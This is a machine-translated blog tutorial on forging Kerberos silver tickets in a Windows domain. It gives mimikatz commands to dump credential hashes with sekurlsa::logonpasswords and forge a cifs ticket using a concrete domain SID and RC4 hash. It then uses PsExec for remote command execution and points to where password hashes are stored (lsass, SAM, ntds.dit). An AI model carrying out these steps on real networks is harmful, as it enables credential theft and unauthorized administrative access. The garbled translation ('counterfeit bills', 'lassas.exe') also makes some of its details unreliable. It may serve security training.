Silver counterfeit bills

Kerberos article by our initial understanding of the working process of the Kerberos protocol, to solve two problems

The first question: How do I prove that you are responsible for the problem user XXX Authentication Server

The second question: How Served know that you have access to the services it provides. When a Client to access a service on Server server, Server how to determine whether Client has permission to access the service on your own host. The responsibility of the Ticket Granting Server

Kerberos protocol for the second problem to be solved: How Served know that you have access to the services it provides. An attacker put forward an idea, counterfeit bills TGS attack, so there are other methods of attack against kerberos authentication - TGS ticket counterfeit bills silver.

Silver Tickets (silver ticket) is forged TGS ticket, TGS ticket included forged PAC, used to allow the server to obtain the corresponding user information such as UID, KDC to confirm whether the user has permission to access a service.

Since silver TGS bill is counterfeit bill, it does not communicate with a domain controller 1,2,3,4 step, directly into the fifth step of the authentication ticket as a server portion AP_REQ TGS is transmitted to the service provided to the access services.

image

Silver production notes (Part golden ticket has been cut map, the main use of tools or mimikatz and psexec)

Silver production bills conditions:

1. Domain Name

SID field value 2.

3. The service account password HASH domain

4. fake user name, the user name may be any general administrator forgery

The need to access services


first step:

Administrator rights to run mimikatz

privilege :: debug # elevate privileges

sekurlsa :: logonpasswords # hash and obtain the service account sid (sid was the same under the same domain)

Step two:

Empty local ticket cache

kerberos :: purge # clean up local ticket cache

kerberos :: list # View saved locally bills

third step:

Silver and import counterfeit bills

kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

the fourth step:

Control access to shared directory domain

dir \\ win08 \ c $

Remote login, execute commands

PsExec.exe \\win08 cmd.exe

whoami View Permissions



The difference between gold and silver bills bills

1.TGS ticket is for a service on a machine, TGT is aimed at all services for all machines

2.TGT use hash krbtgt account, TGS ticket is the use of hash service account (target of hash, accounts displayed in the computer name $)


The results Gold notes:

We are able to log in as administrator on all machines inside the domain

The results Silver notes:

Before it can psexec after adding cifs permission to use silver as administrator notes able to log in as administrator after psexec

Before you can not move psexesvc after the machine after utility bills add silver cifs, dir entitled to see the changes to the right to view

hash location

The system is running, you need to crawl from memory -> lassas.exe process is stored inside the active user hash (currently logged on user) ordinary domain user or ordinary working group: SAM files (user password encrypted) / SYSTEM files (secret key) windows / system32 / config / SAM is currently stored in the user machine Hash

Domain Control: All domain users ntds.dit username / password (hash)

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Origin www.cnblogs.com/sup3rman/p/12329830.html